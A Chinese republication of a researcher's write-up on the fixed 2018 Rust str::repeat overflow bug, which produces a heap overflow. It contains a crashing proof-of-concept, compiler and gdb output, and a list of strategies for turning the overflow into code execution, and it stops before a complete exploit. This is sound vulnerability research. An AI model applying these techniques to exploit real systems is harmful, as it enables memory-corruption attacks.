Rust标准库漏洞从分析到漏洞利用分析
发布时间:2022-07-11 15:39:30 所属栏目:安全 来源:互联网
导读:0x01 背景介绍 如果攻击者具有任意的读/写原语,那么防御者基本上无能为力,由于内存损坏漏洞总是可以构造这些原语,导致我可以以最可靠的方式利用漏洞。 复制 https://github.com/rust-lang/rust/pull/54397 1. Rust这种语言非常适合开发需要安全性高的应用
0x01 背景介绍 如果攻击者具有任意的读/写原语,那么防御者基本上无能为力,由于内存损坏漏洞总是可以构造这些原语,导致我可以以最可靠的方式利用漏洞。 复制 https://github.com/rust-lang/rust/pull/54397 1. Rust这种语言非常适合开发需要安全性高的应用程序。此漏洞已在最新版本中修复,切勿将单个漏洞作为整体安全性的指标,我之所以分析这个漏洞,是因为我喜欢这种语言和漏洞,而且我想了解更多。 该漏洞是一个64位的通配符。我有机会在WSL中利用其他通配符,因此,如果你对更多的通配符感兴趣,或者只是想在阅读此文章之前快速介绍该概念,可以观看我的演讲“ Linux漏洞利用,Windows漏洞利用”。这是可靠地利用内核空间中的通配符的一个很好的漏洞例子。 复制 https://github.com/saaramar/execve_exploit 1. 对于此Rust漏洞,我会分析用户空间,并且将使用非常简单且稳定的Wildcopy漏洞。我将编写一个简单的Rust程序,利用该漏洞执行本机代码,这意味着: · 没有“不安全”的代码块 · 我唯一使用的crates是thread,time和sync :: mpsc :: channel(即只有两行带有“ use”的行使用std :: {thread,time};使用std :: sync :: mpsc :: channel;) 我在Ubuntu 19.10上开发了该漏洞利用程序,这应该适用于其他版本的Ubuntu,我也在WSL v1 / v2和Debian 10上进行了测试。可以100%稳定利用:) 复制 https://blog.rust-lang.org/2018/09/21/Security-advisory-for-std.html https://github.com/rust-lang/rust/pull/54398/files 1. 2. 3. 我将从以下代码开始分析: 复制 fn main() { let _s = "AAAA".repeat(0x4000000000000001); } 1. 如果使用Rust编译器1.29.0进行编译,可以清楚地看到函数中的乘法: 可以控制imul指令的2个操作数!现在运行程序: 复制 amarsa@SaarAmar-book2:/mnt/c/projects/rust/exploit$ cat src/main.rs fn main() { let _s = "AAAA".repeat(0xc000000000000001); } amarsa@SaarAmar-book2:/mnt/c/projects/rust/exploit$ rustc --version rustc 1.29.0 (aa3ca1994 2018-09-11) amarsa@SaarAmar-book2:/mnt/c/projects/rust/exploit$ cargo run Compiling exploit v0.1.0 (file:///mnt/c/projects/rust/exploit) Finished dev [unoptimized + debuginfo] target(s) in 2.92s Running `target/debug/exploit` Segmentation fault (core dumped) amarsa@SaarAmar-book2:/mnt/c/projects/rust/exploit$ 遇到了段错误!在Rust中这种问题很奇怪,当运行时安全检查检测到问题并导致程序中止时,就会发生这种情况。这是它崩溃的原因: Continuing. Program received signal SIGSEGV, Segmentation fault. __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:249 249 ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S: No such file or directory. (gdb) x/8i $rip => 0x7ffffe92eb1f : rep movsb %ds:(%rsi),%es:(%rdi) 0x7ffffe92eb21 : retq 0x7ffffe92eb22 : cmp $0x10,%dl 0x7ffffe92eb25 : jae 0x7ffffe92eb3e 0x7ffffe92eb27 : cmp $0x8,%dl 0x7ffffe92eb2a : jae 0x7ffffe92eb53 0x7ffffe92eb2c : cmp $0x4,%dl 0x7ffffe92eb2f : jae 0x7ffffe92eb64 (gdb) x/8gx $rsi 0x7ffffe400000: 0x4141414141414141 0x4141414141414141 0x7ffffe400010: 0x4141414141414141 0x4141414141414141 0x7ffffe400020: 0x4141414141414141 0x4141414141414141 0x7ffffe400030: 0x4141414141414141 0x4141414141414141 (gdb) x/8gx $rdi 0x7ffffe600000: Cannot access memory at address 0x7ffffe600000 (gdb) POC的第一个段错误是由于开发WSL时出现的类似问题(这次是在用户空间中,而不是内核空间中)。处理通配符当循环到达未映射的页面并试图在其中复制数据时,程序将极有可能崩溃,这是触发通配符漏洞后我期望的经典段错误。 开始编写漏洞利用,由于以下检查,出现了编译错误: 复制 amarsa@SaarAmar-book2:/mnt/c/projects/rust/exploit$ cargo run Compiling exploit v0.1.0 (file:///mnt/c/projects/rust/exploit) error: this form of character escape may only be used with characters in the range [x00-x7f] --> src/main.rs:2:21 | 2 | let _s = "x7fxffxffxff".repeat(0xc000000000000001); | ^^ error: aborting due to previous error error: Could not compile `exploit`. To learn more, run the command again with --verbose. amarsa@SaarAmar-book2:/mnt/c/projects/rust/exploit$ Rust不允许我在String实例中使用非UTF-8字符。因此,我必须破坏[0x00,0x7f]范围内的字节。在内核空间中利用它会更加复杂(仅使用此范围很难伪造指针),但是我在用户空间中,因此使用此范围可以表示很多指针,这没有问题。 现在,转到第二个问题–控制我破坏数据的长度。答案显然是“不行”。要触发该漏洞,我必须指定一个大于2 ** 64字节的大小,但实际上,我可能能够以某种方式不使用通配符。 在这里有很多选择: · 依靠竞争条件–尽管通配符会破坏某些有用的目标结构或内存,但可以竞争其他线程以使用现在已损坏的数据在通配符崩溃之前执行某些操作(例如,构造其他原语,终止通配符等)。 · 如果wildcopy循环在每次迭代时都调用一个虚函数,并且指向该函数的指针位于堆内存中的结构中(或位于我在wildcopy期间可能损坏的其他内存地址中),则漏洞利用程序可以使用该循环覆盖并在通配期间转移执行。这种方法的一个很好的例子是一些Stagefright漏洞利用程序在Android中的工作方式。 · 如果wildcopy循环具有某种逻辑,可以在某些情况下停止循环,那么我可以弄乱这些检查,并在破坏足够的数据后停止循环,这正是我利用前面提到的WSL漏洞所采取的方法。 (编辑:PHP编程网 - 黄冈站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |